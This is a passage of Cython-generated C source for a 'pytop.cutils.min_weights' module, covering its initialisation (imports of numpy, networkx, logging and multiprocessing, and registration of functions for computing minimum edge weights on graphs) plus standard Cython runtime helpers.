__Pyx_PyMODINIT_FUNC PyObject * #endif #endif #if PY_MAJOR_VERSION < 3 __Pyx_PyMODINIT_FUNC initmin_weights(void) CYTHON_SMALL_CODE; /*proto*/ __Pyx_PyMODINIT_FUNC initmin_weights(void) #else __Pyx_PyMODINIT_FUNC PyInit_min_weights(void) CYTHON_SMALL_CODE; /*proto*/ __Pyx_PyMODINIT_FUNC PyInit_min_weights(void) #if CYTHON_PEP489_MULTI_PHASE_INIT { return PyModuleDef_Init(&__pyx_moduledef); } static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { #if PY_VERSION_HEX >= 0x030700A1 static PY_INT64_T main_interpreter_id = -1; PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); if (main_interpreter_id == -1) { main_interpreter_id = current_id; return (unlikely(current_id == -1)) ? -1 : 0; } else if (unlikely(main_interpreter_id != current_id)) #else static PyInterpreterState *main_interpreter = NULL; PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; if (!main_interpreter) { main_interpreter = current_interpreter; } else if (unlikely(main_interpreter != current_interpreter)) #endif { PyErr_SetString( PyExc_ImportError, "Interpreter change detected - this module can only be loaded into one interpreter per process."); return -1; } return 0; } static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) { PyObject *value = PyObject_GetAttrString(spec, from_name); int result = 0; if (likely(value)) { if (allow_none || value != Py_None) { result = PyDict_SetItemString(moddict, to_name, value); } Py_DECREF(value); } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Clear(); } else { result = -1; } return result; } static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, CYTHON_UNUSED PyModuleDef *def) { PyObject *module = NULL, *moddict, *modname; if (__Pyx_check_single_interpreter()) return NULL; if (__pyx_m) return __Pyx_NewRef(__pyx_m); modname = PyObject_GetAttrString(spec, "name"); if (unlikely(!modname)) goto bad; module = PyModule_NewObject(modname); Py_DECREF(modname); if (unlikely(!module)) goto bad; moddict = PyModule_GetDict(module); if (unlikely(!moddict)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; return module; bad: Py_XDECREF(module); return NULL; } static CYTHON_SMALL_CODE int __pyx_pymod_exec_min_weights(PyObject *__pyx_pyinit_module) #endif #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannyDeclarations #if CYTHON_PEP489_MULTI_PHASE_INIT if (__pyx_m) { if (__pyx_m == __pyx_pyinit_module) return 0; PyErr_SetString(PyExc_RuntimeError, "Module 'min_weights' has already been imported. Re-initialisation is not supported."); return -1; } #elif PY_MAJOR_VERSION >= 3 if (__pyx_m) return __Pyx_NewRef(__pyx_m); #endif #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_min_weights(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pxy_PyFrame_Initialize_Offsets __Pxy_PyFrame_Initialize_Offsets(); #endif __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_AsyncGen_USED if (__pyx_AsyncGen_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS PyEval_InitThreads(); #endif /*--- Module creation code ---*/ #if CYTHON_PEP489_MULTI_PHASE_INIT __pyx_m = __pyx_pyinit_module; Py_INCREF(__pyx_m); #else #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("min_weights", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) #endif __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_b); __pyx_cython_runtime = PyImport_AddModule((char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_cython_runtime); if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_pytop__cutils__min_weights) { if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "pytop.cutils.min_weights")) { if (unlikely(PyDict_SetItemString(modules, "pytop.cutils.min_weights", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global type/function init code ---*/ (void)__Pyx_modinit_global_init_code(); (void)__Pyx_modinit_variable_export_code(); (void)__Pyx_modinit_function_export_code(); if (unlikely(__Pyx_modinit_type_init_code() < 0)) __PYX_ERR(0, 1, __pyx_L1_error) (void)__Pyx_modinit_type_import_code(); (void)__Pyx_modinit_variable_import_code(); (void)__Pyx_modinit_function_import_code(); /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "pytop/cutils/min_weights.pyx":4 * # distutils: sources = _paths.cpp * * import os # <<<<<<<<<<<<<< * import logging * import logging.handlers as handlers */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_os, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_os, __pyx_t_1) < 0) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":5 * * import os * import logging # <<<<<<<<<<<<<< * import logging.handlers as handlers * from multiprocessing import Pool, current_process */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_logging, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_logging, __pyx_t_1) < 0) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":6 * import os * import logging * import logging.handlers as handlers # <<<<<<<<<<<<<< * from multiprocessing import Pool, current_process * */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s__6); __Pyx_GIVEREF(__pyx_n_s__6); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s__6); __pyx_t_2 = __Pyx_Import(__pyx_n_s_logging_handlers, __pyx_t_1, -1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_handlers, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "pytop/cutils/min_weights.pyx":7 * import logging * import logging.handlers as handlers * from multiprocessing import Pool, current_process # <<<<<<<<<<<<<< * * import numpy as np */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Pool); __Pyx_GIVEREF(__pyx_n_s_Pool); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Pool); __Pyx_INCREF(__pyx_n_s_current_process); __Pyx_GIVEREF(__pyx_n_s_current_process); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_current_process); __pyx_t_1 = __Pyx_Import(__pyx_n_s_multiprocessing, __pyx_t_2, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_Pool); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Pool, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_current_process); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_current_process, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":9 * from multiprocessing import Pool, current_process * * import numpy as np # <<<<<<<<<<<<<< * import networkx as nx * */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_numpy, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_np, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":10 * * import numpy as np * import networkx as nx # <<<<<<<<<<<<<< * * from libcpp.vector cimport vector */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_networkx, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_nx, __pyx_t_1) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":17 * * * _EPSILON = 1e-7 # <<<<<<<<<<<<<< * * cdef extern from "_min_weights.h": */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_EPSILON, __pyx_float_1eneg_7) < 0) __PYX_ERR(0, 17, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":23 * * * def create_logger(file_path): # <<<<<<<<<<<<<< * formatter = logging.Formatter( * "%(asctime)s - %(name)s - %(levelname)s - %(message)s" */ __pyx_t_1 = PyCFunction_NewEx(&__pyx_mdef_5pytop_6cutils_11min_weights_1create_logger, NULL, __pyx_n_s_pytop_cutils_min_weights); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_create_logger, __pyx_t_1) < 0) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":38 * * * def get_min_edge_weights(object g, int target): # <<<<<<<<<<<<<< * cdef int num_of_nodes = g.number_of_nodes() * cdef vector[vector[float]] WU */ __pyx_t_1 = PyCFunction_NewEx(&__pyx_mdef_5pytop_6cutils_11min_weights_3get_min_edge_weights, NULL, __pyx_n_s_pytop_cutils_min_weights); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_min_edge_weights, __pyx_t_1) < 0) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":61 * * * class Processor(): # <<<<<<<<<<<<<< * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): * self.save_path = save_path */ __pyx_t_1 = __Pyx_Py3MetaclassPrepare((PyObject *) NULL, __pyx_empty_tuple, __pyx_n_s_Processor, __pyx_n_s_Processor, (PyObject *) NULL, __pyx_n_s_pytop_cutils_min_weights, (PyObject *) NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); /* "pytop/cutils/min_weights.pyx":62 * * class Processor(): * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): # <<<<<<<<<<<<<< * self.save_path = save_path * self.source_path = source_path */ __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_5pytop_6cutils_11min_weights_9Processor_1__init__, 0, __pyx_n_s_Processor___init, NULL, __pyx_n_s_pytop_cutils_min_weights, __pyx_d, ((PyObject *)__pyx_codeobj__12)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_2, __pyx_tuple__13); if (__Pyx_SetNameInClass(__pyx_t_1, __pyx_n_s_init, __pyx_t_2) < 0) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "pytop/cutils/min_weights.pyx":72 * # self.log_files[i] = create_logger(os.path.join(dir_name, "{}.log".format(i))) * * def softmax(self, neighbor_weights): # <<<<<<<<<<<<<< * exp = np.exp(neighbor_weights) * return exp / exp.sum() */ __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_5pytop_6cutils_11min_weights_9Processor_3softmax, 0, __pyx_n_s_Processor_softmax, NULL, __pyx_n_s_pytop_cutils_min_weights, __pyx_d, ((PyObject *)__pyx_codeobj__15)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__Pyx_SetNameInClass(__pyx_t_1, __pyx_n_s_softmax, __pyx_t_2) < 0) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "pytop/cutils/min_weights.pyx":76 * return exp / exp.sum() * * def save_weights(self, names): # <<<<<<<<<<<<<< * names = list(names) * # process_name_id = int(current_process().name.split("-")[-1]) */ __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_5pytop_6cutils_11min_weights_9Processor_5save_weights, 0, __pyx_n_s_Processor_save_weights, NULL, __pyx_n_s_pytop_cutils_min_weights, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__Pyx_SetNameInClass(__pyx_t_1, __pyx_n_s_save_weights, __pyx_t_2) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "pytop/cutils/min_weights.pyx":61 * * * class Processor(): # <<<<<<<<<<<<<< * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): * self.save_path = save_path */ __pyx_t_2 = __Pyx_Py3ClassCreate(((PyObject*)&__Pyx_DefaultClassType), __pyx_n_s_Processor, __pyx_empty_tuple, __pyx_t_1, NULL, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Processor, __pyx_t_2) < 0) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":115 * * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): # <<<<<<<<<<<<<< * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) */ __pyx_t_1 = PyCFunction_NewEx(&__pyx_mdef_5pytop_6cutils_11min_weights_5add_min_weights_to_data, NULL, __pyx_n_s_pytop_cutils_min_weights); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_min_weights_to_data, __pyx_t_1) < 0) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":1 * # distutils: language = c++ # <<<<<<<<<<<<<< * # distutils: sources = _paths.cpp * */ __pyx_t_1 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_1) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "map.to_py":201 * * @cname("__pyx_convert_unordered_map_to_py_std_3a__3a_string____float") * cdef object __pyx_convert_unordered_map_to_py_std_3a__3a_string____float(const map[X,Y]& s): # <<<<<<<<<<<<<< * o = {} * cdef const map[X,Y].value_type *key_value */ /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init pytop.cutils.min_weights", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_CLEAR(__pyx_m); } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init pytop.cutils.min_weights"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if CYTHON_PEP489_MULTI_PHASE_INIT return (__pyx_m != NULL) ? 0 : -1; #elif PY_MAJOR_VERSION >= 3 return __pyx_m; #else return; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule(modname); if (!m) goto end; p = PyObject_GetAttrString(m, "RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* PyObjectGetAttrStr */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* PyDictVersioning */ #if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { PyObject *dict = Py_TYPE(obj)->tp_dict; return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; } static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { PyObject **dictptr = NULL; Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; if (offset) { #if CYTHON_COMPILING_IN_CPYTHON dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); #else dictptr = _PyObject_GetDictPtr(obj); #endif } return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; } static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { PyObject *dict = Py_TYPE(obj)->tp_dict; if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) return 0; return obj_dict_version == __Pyx_get_object_dict_version(obj); } #endif /* GetModuleGlobalName */ #if CYTHON_USE_DICT_VERSIONS static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) #else static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) #endif { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) if (likely(result)) { return __Pyx_NewRef(result); } else if (unlikely(PyErr_Occurred())) { return NULL; } #else result = PyDict_GetItem(__pyx_d, name); __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) if (likely(result)) { return __Pyx_NewRef(result); } #endif #else result = PyObject_GetItem(__pyx_d, name); __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) if (likely(result)) { return __Pyx_NewRef(result); } PyErr_Clear(); #endif return __Pyx_GetBuiltinName(name); } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); int flags = PyCFunction_GET_FLAGS(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (flags & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS | METH_STACKLESS))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); if ((PY_VERSION_HEX < 0x030700A0) || unlikely(flags & METH_KEYWORDS)) { return (*((__Pyx_PyCFunctionFastWithKeywords)(void*)meth)) (self, args, nargs, NULL); } else { return (*((__Pyx_PyCFunctionFast)(void*)meth)) (self, args, nargs); } } #endif /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = __Pyx_PyThreadState_Current; PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = __Pyx_PyFrame_GetLocalsplus(f); for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, (int)nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, (int)nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif #endif /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = Py_TYPE(func)->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCall2Args */ static CYTHON_UNUSED PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { PyObject *args, *result = NULL; #if CYTHON_FAST_PYCALL if (PyFunction_Check(function)) { PyObject *args[2] = {arg1, arg2}; return __Pyx_PyFunction_FastCall(function, args, 2); } #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(function)) { PyObject *args[2] = {arg1, arg2}; return __Pyx_PyCFunction_FastCall(function, args, 